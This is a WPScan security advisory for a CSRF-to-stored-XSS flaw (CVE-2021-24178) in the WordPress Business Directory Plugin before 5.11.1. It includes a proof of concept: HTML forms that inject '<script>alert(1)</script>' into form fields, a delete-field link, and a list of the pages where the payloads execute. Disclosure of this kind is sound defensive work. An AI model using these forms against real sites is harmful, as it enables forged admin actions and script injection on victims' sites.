WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Business Directory Plugin < 5.11.1 - Arbitrary Add/Edit/Delete Form Field to Stored XSS

Description

The plugin suffered from Cross-Site Request Forgery issues, allowing an attacker to make a logged in administrator add, edit or delete form fields, which could also lead to Stored Cross-Site Scripting issues.

Note (WPScanTeam): The CSRF has ben fixed and proper capability checks have also been added in 5.11.1, however some sanitisation was still missing, still allowing XSS via a high privilege account in other pages and a different issue has been created for it

Proof of Concept

<!-- Change Form Field XSS -->
<form action="https://example.com/wp-admin/admin.php?page=wpbdp_admin_formfields&action=editfield&id=1" method="post">
<input type="hidden" name="field[id]" value="1">
<input type="hidden" name="field[tag]" value="title"> <input type="hidden" name="field[weight]" value="9">
<label> Field Label </label>
<input name="field[label]" type="text" aria-required="true" value="<script>alert(1)</script>">
<label> Field description <span class="description">(optional)</span></label>
<input name="field[description]" type="text" value="<script>alert(1)</script>">
<input type="submit" name="submit" id="submit" class="button button-primary" value="Update Field">
</form>

<!-- Add Form Field XSS -->
<form action="https://example.com/wp-admin/admin.php?page=wpbdp_admin_formfields&action=editfield&id=1" method="post">
<label> Field Label </label>
<input name="field[label]" type="text" aria-required="true" value="<script>alert(1)</script>"> 
<label> Field description <span class="description">(optional)</span></label>
<input name="field[description]" type="text" value="<script>alert(1)</script>">
<input type="submit" name="submit" id="submit" class="button button-primary" value="Update Field"> 
</form>

XSS payloads execute:
- On the business directory page when adding a listing: /business-directory/?wpbdp_view=submit_listing
- On the Import/Export page: /wp-admin/admin.php?page=wpbdp_admin_csv
- When adding/editing a listing /wp-admin/post-new.php?post_type=wpbdp_listing
- On various Settings page, such as /wp-admin/admin.php?page=wpbdp_settings&tab=listings&subtab=listings%2Fsorting, /wp-admin/admin.php?page=wpbdp_settings&tab=listings&subtab=search_settings

<!-- Delete Form Field-->
<a href="https://example.com/wp-admin/admin.php?page=wpbdp_admin_formfields&action=deletefield&id=1">Delete</a> 

Affects Plugins

business-directory-plugin
Fixed in version 5.11.1

References

CVE
CVE-2021-24178

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

0xB9

Submitter

0xB9

Submitter twitter
0xB9sec
Verified

Yes

WPVDB ID
700f3b04-8298-447c-8d3c-4581880a63b5

Timeline

Publicly Published

2021-04-11 (about 1 years ago)

Added

2021-04-12 (about 1 years ago)

Last Updated

2021-04-15 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us